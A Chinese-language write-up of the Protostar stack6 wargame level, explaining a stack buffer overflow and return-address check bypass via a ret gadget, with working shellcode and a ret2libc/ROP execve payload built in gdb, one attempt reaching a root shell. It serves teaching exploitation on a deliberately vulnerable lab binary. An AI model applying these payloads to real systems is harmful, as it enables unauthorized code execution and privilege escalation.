通过Protostar stack6演示Linux下ROP的简单使用,ROP就是所谓的Return Orientated Programming,早期也叫ret2libc,思路是一样的,只是平台换到了Linux下而已。
0×01. __builtin_return_address函数
先介绍下__builtin_return_address这个函数,这个函数接收一个参数,可以是0,1,2等。__builtin_return_address(0)返回当前函数的返回地址,如果参数增大1,那么就往上走一层获取返回地址。Windows下好像也有个类似的函数,不过具体叫什么忘记了。看一个例子就知道这个函数的用处了:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
void foo()
{
printf("in foo()n");
printf("Foo: __builtin_return_address(0) = 0x%08Xn",
__builtin_return_address(0));
printf("Foo: __builtin_return_address(1) = 0x%08Xn",
__builtin_return_address(1));
bar();
}
void bar()
{
printf("in bar()n");
printf("Bar: __builtin_return_address(0) = 0x%08Xn",
__builtin_return_address(0));
printf("Bar: __builtin_return_address(1) = 0x%08Xn",
__builtin_return_address(1));
}
int main(int argc, char **argv)
{
foo();
return 0;
}
编译之后用gdb调试,情况如下:
foo中调用__builtin_return_address(1)得到的结果就是main函数执行完之后的返回地址。
0×02. 直接在栈上执行Shellcode
题目的源代码如下:
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
void getpath()
{
char buffer[64];
unsigned int ret;
printf("input path please: "); fflush(stdout);
gets(buffer);
ret = __builtin_return_address(0);
if((ret & 0xbf000000) == 0xbf000000) {
printf("bzzzt (%p)n", ret);
_exit(1);
}
printf("got path %sn", buffer);
}
int main(int argc, char **argv)
{
getpath();
}
可以看出buffer是可以溢出的,但是后面对返回地址有一个校验,即最高位不能是0xBF,而栈的地址的最高位就是0xBF,所以不能直接跳转到栈上面去执行Shellcode,但是我们可以通过.text中的一条ret指令作为跳转。首先需要测试返回地址的覆盖字段位于输入数据中的位置:
python -c "print 'A'*80+'B'*4" > data.txt
gdb stack6
disas getpath
b *0x080484b8 #在这里返回地址放到了eax中
r < data.txt
info registers eax
看到eax刚好为0×42424242,也就是返回地址被覆盖成了0×42424242。现在需要一条ret指令,可以直接取main函数的最后一条指令,通过disas main可以查看到地址为0×08048508。如果我们把返回地址覆盖为0×08048508,那么从getpath返回后就跑去0×08048508这个地址去执行了,而这里又是一条返回地址,那么我们可以在栈上放一个指向Shellcode的地址。
现在需要知道buffer的地址,在gets调用处下断点:
disas getpath
b *0x080484aa #这里调用gets
info registers eax
得到buffer的地址为0xBFFFFCCC。buffer的起始地址知道了,我们就可以知道Shellcode的位置了:
0xBFFFFCCC + 80 + 4 + 4 = 0xBFFFFD24。
下面是数据的布局:
用Python生成这段数据,并当做stack6程序的输入数据:
python -c "print 'A'*80 + 'x08x85x04x08' + 'x24xFDxFFxBF' + 'x31xc0x31xdbxb0x06xcdx80x53x68/ttyx68/devx89xe3x31xc9x66xb9x12x27xb0x05xcdx80x31xc0x50x68//shx68/binx89xe3x50x53x89xe1x99xb0x0bxcdx80'" > data.txt
gdb stack6
r < data.txt
whoami
root
0×03. 使用ROP技术
其实上面跳转到main函数的最后一条ret指令的方法就是使用了ROP的思想了,不过现在假设栈没有可执行属性,那么上面的方法就不行了。我们可以考虑使用execve(“/bin/sh”, 0, 0) 执行shell。为此,需要先找到execve的地址,gdb下输入如下命令:
print execve #为0xb7f2e170
print exit #为0xb7ec60c0
通过x /1000s $esp查找/bin/sh字符串,在0xbffffefb发现字符串”SHELL=/bin/bash”,我们需要的地址为0xbffffefb+6=0xBFFFFF01。当然也可以在输入的时候直接传入字符串,不过需要控制字符串结束符,gets又不能读(读入的是0x0D,不是0×00),额外处理为很麻烦。上面的查找方法是查找进程中的环境变量字符串实现的。同时我们也能找到指向0×00000000的指针,如0xBFFFFD6A,往execve的第二个第三个参数传入这样的指针也是可以的。
protostar stack6 通过esp查找环境变量
现在我们的数据布局如下:
execve调用之后是不会返回的,所以填充的那个exit的地址也可以是其他的不带NULL的数据,按我所想象的,这样之后就可以了。
python -c "print 'A'*80 + 'x08x85x04x08' + 'x70xE1xF2xB7' + 'xC0x60xECxB7' + 'x01xFFxFFxBF' + 'x6AxFDxFFxBF' + 'x6AxFDxFFxBF'" > data.txt
gdb stack6
r < data.txt
不过这里在gdb中看到,/bin/bash执行后立刻就退出了,这个估计是使用execve的方式不对,ROP思路本身是没有问题的,下次分析下第一种方法中的Shellcode,就知道怎么用了。
0×04. gdb调试学习
反汇编指定区域的数据:disas /r 0x0804a000 0x0804b000
查看函数地址:print execve
修改内存数据:set *((char*)0x0804aabb=0×00 选择对应的type即可
将文件数据作为输入:run < 文件路径
将shell命令输出作为命令行参数:run $(python -c "print 'A'*100")